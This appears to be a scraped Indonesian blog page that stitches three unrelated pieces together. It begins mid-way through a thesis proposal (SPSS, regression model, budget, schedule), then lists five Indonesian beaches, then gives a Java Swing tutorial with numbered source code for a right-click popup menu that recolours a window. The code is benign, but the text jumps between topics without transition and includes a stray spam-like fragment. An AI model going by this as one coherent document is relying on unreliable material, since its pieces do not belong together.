Alat Yang Digunakan
Alat bantu yang digunakan dalam penelitian ilmiah ini adalah software SPSS

Model Analisis
Model analisis yang digunakan dalam penelitian ini adalah analisis regresi linier dengan metode kuadrat terkecil


F. RENCANA BIAYA PENELITIAN
Penelitian ini merupakan penelitian ilmiah untuk memenuhi salah satu syarat memperoleh gelar sarjana, maka semua biaya penelitian ini akan ditanggung oleh penulis


G. JADWAL PENELITIAN
Minggu I : Persiapan
Minggu II - IV : pengumpulan dan analisis data
Minggu V - IX : penyusuna laporan
Minggu X-XII : laporan akhir

Inilah 5 Wisata Pantai Indah di Indonesia



Indonesia memiliki banyak sekali obyek Wisata Pantai. Dari sekian banyak pantai di Indonesia, ada 5 pantai yang cukup terkenal dan dikatakan sebagai Pantai Indah di Indonesia.

Pantai Parangtritis - Yogyakarta
Parangtritis, adalah sebuah tempat pariwisata berupa pantai pesisir Samudra Hindia yang terletak kurang lebih 25 kilometer sebelah selatan kota Yogyakarta.Parangtritis merupakan objek wisata yang cukup terkenal di yogyakarta selain objek pantai lainnya seperti Samas, Baron, Kukup Krakal dan Pantai Glagah. Parangtritis mempunyai keunikan pemandangan yang tidak terdapat pada objek wisata lainnya yaitu selain ombak yang besar juga adanya gunung - gunung pasir yang tinggi di sekitar pantai.
[Image: pantai-parangtritis.jpg]

Pantai Senggigi - Lombok
Pantai Senggigi adalah tempat pariwisata yang terkenal di Lombok. Letaknya di sebelah barat pesisir Pulau Lombok. Pesisir pantainya masih asri, walaupun masih ada sampah dedaunan yang masih berserakan karena jarang dibersihkan. Pemandangan bawah lautnya sangat indah, dan wisatawan bisa melakukan snorkling sepuasnya karena ombaknya tidak terlalu besar.
[Image: pantai-senggigi-beach-3.jpg]

Pantai Kuta - Bali
Pantai Kuta adalah sebuah tempat pariwisata yang terletak di sebelah selatan Denpasar, ibu kota Bali, Indonesia. Kuta terletak di Kabupaten Badung. Daerah ini merupakan sebuah tujuan wisata turis mancanegara, dan telah menjadi objek wisata andalan Pulau Bali sejak awal 70-an. Pantai Kuta sering pula disebut sebagai pantai matahari terbenam (sunset beach).
[Image: pantai-kuta-2.jpg]

Pantai Indah Pangandaran - Ciamis
Pantai Indah Pangandaran adalah sebuah pantai yang terletak di pantai selatan serta menurut AsiaRooms merupakan pantai terbaik di Pulau Jawa merupakan objek wisata pantai di Jawa Barat. Pantai ini terletak di Desa Pananjung, Kecamatan Pangandaran dengan jarak ± 92 km arah selatan kota Ciamis.
[Image: pangandaran%2B1.jpg]

Pantai Parai Tenggiri - Bangka Belitung
Pantai Parai Tenggiri adalah pantai yang terletak di kawasan daerah Matras, Sungailiat, Bangka Belitung. Pantai ini sering dijadikan obyek wisata dan terkenal dengan batuan granit berbagai ukuran. Fasilitas yang tersedia antara lain hotel, outbound serta permainan olah raga air.
[Image: pantai+parai+tenggiri.jpg]


Selamat berwisata ... tkp motor tkp express

Membuat Popup Menu di Java


Popup menu merupakan menu yang akan ditampilkan saat kita melakukan klik kanan di window. Program berikut ini merupakan contoh program membuat popup menu di Java. Class yang digunakan adalah JPopupMenu.
Berikut ini tampilan programnya:
contoh-program-menu-popup-java

Berikut ini source code programnya:
01import java.awt.*;
02import java.awt.event.*;
03import javax.swing.*;
04 
05public class PopupMenuTest extends JFrame {
06    private JRadioButtonMenuItem items[];
07    private final Color colorValues[] = {Color.BLUE, Color.YELLOW, Color.RED};
08    private JPopupMenu popMenu;
09 
10    public PopupMenuTest() {
11        super ("Menu Popup");
12 
13        ItemHandler handler = new ItemHandler();
14        String colorNames[] = {"Biru", "Kuning", "Merah"};
15 
16        ButtonGroup colorGroup = new ButtonGroup();
17        popMenu = new JPopupMenu();
18        items = new JRadioButtonMenuItem [colorValues.length];
19 
20        for (int i = 0; i < items.length; i++) {
21            items[i] = new JRadioButtonMenuItem (colorNames[i]);
22            popMenu.add (items[i]);
23            colorGroup.add (items[i]);
24            items[i].addActionListener(handler);
25           }
26 
27        getContentPane().setBackground(Color.WHITE);
28 
29        addMouseListener(
30            new MouseAdapter() {
31                public void mousePressed (MouseEvent e) {
32                    showPopupMenu (e);
33                }
34 
35                public void mouseReleased (MouseEvent e) {
36                    showPopupMenu (e);
37                }
38 
39                private void showPopupMenu(MouseEvent e) {
40                    if (e.isPopupTrigger())
41                        popMenu.show(e.getComponent(), e.getX(), e.getY());
42                }
43            } //end of anonymous class
44        ); //end of addMouseListener
45 
46        setSize (400,300);
47        setLocationRelativeTo (null);
48        setVisible (true);
49    }
50 
51    public static void main (String args[]) {
52        JFrame.setDefaultLookAndFeelDecorated(true);
53        PopupMenuTest test = new PopupMenuTest();
54        test.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
55    }  
56 
57    private class ItemHandler implements ActionListener {
58        public void actionPerformed (ActionEvent e) {
59            //
60            for (int i = 0; i < items.length; i++) {
61                if (e.getSource() == items[i]) {
62                    getContentPane().setBackground (colorValues[i]);
63                    return;
64                }
65            }
66        }
67    }
68}
Semoga bermanfaat.